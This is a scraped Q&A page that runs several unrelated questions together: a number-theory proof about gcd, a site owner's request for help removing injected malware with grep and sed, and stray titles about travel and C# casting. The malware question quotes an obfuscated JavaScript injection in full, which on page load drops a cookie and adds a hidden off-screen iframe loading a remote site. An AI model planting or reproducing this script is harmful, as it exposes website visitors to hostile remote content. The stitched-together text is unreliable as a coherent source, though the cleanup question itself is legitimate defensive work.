Need expert help with tricky redirect problem
A more specific question about a tricky redirect case
Suppose the gcd (a,b) = 1 and c divides a + b. Prove that gcd (a,c) = 1 = gcd (b,c) I am lost.   So far...  If $\gcd (a,b) = 1$, by Bezout's Formula  $ax + by = 1$  If $c|(a+b)$, then $cf = a+b$  Then,  $a (x-y) + cfy = 1$   $b(yx) + cfx = 1$  Am I on the right track? Any suggestions? I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) Impact of denied entry to Croatia on trying to enter a Schengen country with a valid visa Stack Exchange's heavy reliance on external scripts Puzzling Enumerable.Cast InvalidCastException The following throws an InvalidCastException.  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